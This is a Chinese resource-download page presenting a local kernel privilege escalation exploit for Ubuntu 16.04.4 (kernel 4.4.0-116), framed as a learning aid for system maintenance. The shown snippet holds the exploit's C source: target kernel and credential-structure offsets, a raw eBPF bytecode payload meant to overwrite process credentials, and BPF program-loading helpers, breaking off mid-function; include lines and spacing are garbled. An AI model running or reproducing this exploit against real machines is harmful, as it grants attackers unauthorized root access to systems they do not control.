資源簡介
Ubuntu本地內核提權,用于大家一起學習,更好的維護好系統
代碼片段和文件信息
/*
?*?Ubuntu?16.04.4?kernel?priv?esc
?*
?*?all?credits?to?@bleidl
?*?-?vnik
?*/
//?Tested?on:
//?4.4.0-116-generic?#140-Ubuntu?SMP?Mon?Feb?12?21:23:04?UTC?2018?x86_64
//?if?different?kernel?adjust?CRED?offset?+?check?kernel?stack?size
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#include?
#define?PHYS_OFFSET?0xffff880000000000
#define?CRED_OFFSET?0x5f8
#define?UID_OFFSET?4
#define?LOG_BUF_SIZE?65536
#define?PROGSIZE?328
int?sockets[2];
int?mapfd?progfd;
char?*__prog?=? “\xb4\x09\x00\x00\xff\xff\xff\xff“
“\x55\x09\x02\x00\xff\xff\xff\xff“
“\xb7\x00\x00\x00\x00\x00\x00\x00“
“\x95\x00\x00\x00\x00\x00\x00\x00“
“\x18\x19\x00\x00\x03\x00\x00\x00“
“\x00\x00\x00\x00\x00\x00\x00\x00“
“\xbf\x91\x00\x00\x00\x00\x00\x00“
“\xbf\xa2\x00\x00\x00\x00\x00\x00“
“\x07\x02\x00\x00\xfc\xff\xff\xff“
“\x62\x0a\xfc\xff\x00\x00\x00\x00“
“\x85\x00\x00\x00\x01\x00\x00\x00“
“\x55\x00\x01\x00\x00\x00\x00\x00“
“\x95\x00\x00\x00\x00\x00\x00\x00“
“\x79\x06\x00\x00\x00\x00\x00\x00“
“\xbf\x91\x00\x00\x00\x00\x00\x00“
“\xbf\xa2\x00\x00\x00\x00\x00\x00“
“\x07\x02\x00\x00\xfc\xff\xff\xff“
“\x62\x0a\xfc\xff\x01\x00\x00\x00“
“\x85\x00\x00\x00\x01\x00\x00\x00“
“\x55\x00\x01\x00\x00\x00\x00\x00“
“\x95\x00\x00\x00\x00\x00\x00\x00“
“\x79\x07\x00\x00\x00\x00\x00\x00“
“\xbf\x91\x00\x00\x00\x00\x00\x00“
“\xbf\xa2\x00\x00\x00\x00\x00\x00“
“\x07\x02\x00\x00\xfc\xff\xff\xff“
“\x62\x0a\xfc\xff\x02\x00\x00\x00“
“\x85\x00\x00\x00\x01\x00\x00\x00“
“\x55\x00\x01\x00\x00\x00\x00\x00“
“\x95\x00\x00\x00\x00\x00\x00\x00“
“\x79\x08\x00\x00\x00\x00\x00\x00“
“\xbf\x02\x00\x00\x00\x00\x00\x00“
“\xb7\x00\x00\x00\x00\x00\x00\x00“
“\x55\x06\x03\x00\x00\x00\x00\x00“
“\x79\x73\x00\x00\x00\x00\x00\x00“
“\x7b\x32\x00\x00\x00\x00\x00\x00“
“\x95\x00\x00\x00\x00\x00\x00\x00“
“\x55\x06\x02\x00\x01\x00\x00\x00“
“\x7b\xa2\x00\x00\x00\x00\x00\x00“
“\x95\x00\x00\x00\x00\x00\x00\x00“
“\x7b\x87\x00\x00\x00\x00\x00\x00“
“\x95\x00\x00\x00\x00\x00\x00\x00“;
char?bpf_log_buf[LOG_BUF_SIZE];
static?int?bpf_prog_load(enum?bpf_prog_type?prog_type
??const?struct?bpf_insn?*insns?int?prog_len
??const?char?*license?int?kern_version)?{
union?bpf_attr?attr?=?{
.prog_type?=?prog_type
.insns?=?(__u64)insns
.insn_cnt?=?prog_len?/?sizeof(struct?bpf_insn)
.license?=?(__u64)license
.log_buf?=?(__u64)bpf_log_buf
.log_size?=?LOG_BUF_SIZE
.log_level?=?1
};
attr.kern_version?=?kern_version;
bpf_log_buf[0]?=?0;
return?syscall(__NR_bpf?BPF_PROG_LOAD?&attr?sizeof(attr));
}
static?int?bpf_create_map(enum?bpf_map_type?map_type?int?key_size?int?value_size
???int?max_entries)?
評論
共有 條評論